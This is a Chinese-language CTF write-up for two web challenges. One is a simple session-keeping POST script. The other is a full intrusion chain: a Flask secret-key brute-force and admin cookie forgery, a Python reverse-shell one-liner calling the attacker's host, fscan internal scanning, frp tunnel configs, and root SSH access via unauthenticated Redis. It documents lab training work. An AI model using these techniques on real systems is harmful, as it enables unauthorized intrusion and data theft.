gas!gas!gas! 一个让我们熟悉脚本的题目,提交方式是post表单,重点是会话保持用到了requests模块中的session。
直接看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsurl="http://localhost:8199/" params={ 'driver' :'asfdasdfasfd' ,'steering_control' :'0' ,'throttle' :'0' } session = requests.session() response=session.post(url=url,data=params) text=response.text response.close() for i in range (0 ,10 ): if '弯道直行' in text : params['steering_control' ] = 0 elif '弯道向左' in text: params['steering_control' ] = 1 elif '弯道向右' in text: params['steering_control' ] = -1 if '保持这个速度' in text : params['throttle' ] = 1 elif '抓地力太小了' in text : params['throttle' ] = 0 elif '抓地力太大了' in text : params['throttle' ] = 2 response = session.post(url=url, data=params) text = response.text response.close() print (text)
因为需要连续操作而不是独立操作,我们需要保持会话状态,不要让每次都是比赛开始,于是使用了requests的session,session可以在内部自动保存并且更新cookie,从而实现会话保持。
moeworld 注册账号后进入,提到了flask框架,并且给了密钥,只有几位是随机数,直接查看session,可以用脚本来爆破出后四位随机数,然后伪造自己是admin。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 """ Flask Session Cookie Decoder """ import zlibfrom itsdangerous import base64_decodeimport astimport osfrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self.secret_key = secret_key class FSCM : def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) @staticmethod def decode (session_cookie_value, secret_key=None ): try : if secret_key is None : compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) if __name__ == "__main__" : cnt = 1 key = "This-random-secretKey-you-can't-getc686" print (FSCM.encode(key,"{'power': 'admin', 'user': 'yoo2i'}" )) while True : cookie_value = 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InlvbzJpIn0.ZR7D2Q.Jwc4xTmgeYwQCzw8o9Pd2dIk1WM' secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2 ).hex () if secret_key: result = FSCM.decode(cookie_value, secret_key) else : result = FSCM.decode(cookie_value) cnt += 1 print (result, cnt) if 'power' in result: print (result, secret_key, 'YES' ) break
获得新session后粘进去,成为admin了,发现已经给了pin码,进入控制台。
可以执行命令了,开始反弹shell,我用python弹的
1 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的主机的ip地址或者域名",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
弹shell要有公网ip的(因为要让它能找到你的机器嘛),我最开始用的局域网ip还疑惑为什么弹不上,没有公网ip的话也可以进行内网穿透来做,我这里只有netapp能用。
弹shell成功后查看/flag和/readme
现在我们已经拿到了一台服务器的权限,要进行内网渗透了。
首先cat /etc/hosts
查看到了两个ip,拿fscan扫它./fscan -h 172.20.0.4/16 -nobr -nopoc
根据readme的规则确定压缩文件密码是22-3306-6379-8080
查看一下hint,确定了我们还要拿下两台服务器,一台是跑着mysql一台跑着redis。
为了在我们自己的电脑上访问内网的服务器,还要做一次内网穿透,服务器自带了frp这个工具帮助我们。也是踩坑最多的点
首先在自己电脑上启动frps,配置文件如下
1 2 3 4 5 6 7 8 9 [common] bind_port = 54321#是你反弹shell监视的端口 token = 123456#理解成验证码就可以 #下边都不重要 dashboard_port = 6556 dashboard_user = admin dashboard_pwd = admin
./frps -c frps.ini
然后是服务器上的配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [common] #服务器ip server_addr = server.natappfree.cc #服务端与客户端之间通信使用的端口号,也就是你虚拟机内网穿透以后的虚拟地址端口号 server_port = 38995 token = 123456 [ssh] type = tcp local_ip = 172.20.0.2 local_port = 22 remote_port = 6666 [mysql] type = tcp local_ip = 172.20.0.3 local_port = 3306 remote_port = 3306 custom_domains = server.natappfree.cc #你的frp的server的ip [redis] type = tcp local_ip = 172.20.0.2 local_port = 6379 remote_port = 7777 custom_domains = server.natappfree.cc #你的frp的server的ip
./frpc -c /home/ctf/haha.ini
这样就打通了你的攻击机和目标服务器的隧道了,这些服务都被映射到了本地,可以本机访问了。
先看mysql的
mysql配置信息在靶机app目录下有
mysql -h 127.0.0.1 -P 3306 -u root -p
有一张flag表,拿下第二部分flag。
再看redis
发现能免密登录,并且22端口打开,肯定有.ssh文件夹,尝试利用redis写ssh公钥,推荐看Redis常见漏洞利用方法总结|Redis未授权访问漏洞利用方式 - 🔰雨苁ℒ🔰 (ddosi.org)
这个和mysql也一样,都被映射到本地了,用127.0.0.1就可以访问。
最终写入成功,ssh可以免密登录了
ssh root@127.0.0.1 -p 6666
查看最后一部分flag,圆满完成,很新奇的体验,足足花了两天还是在校内师傅的指点下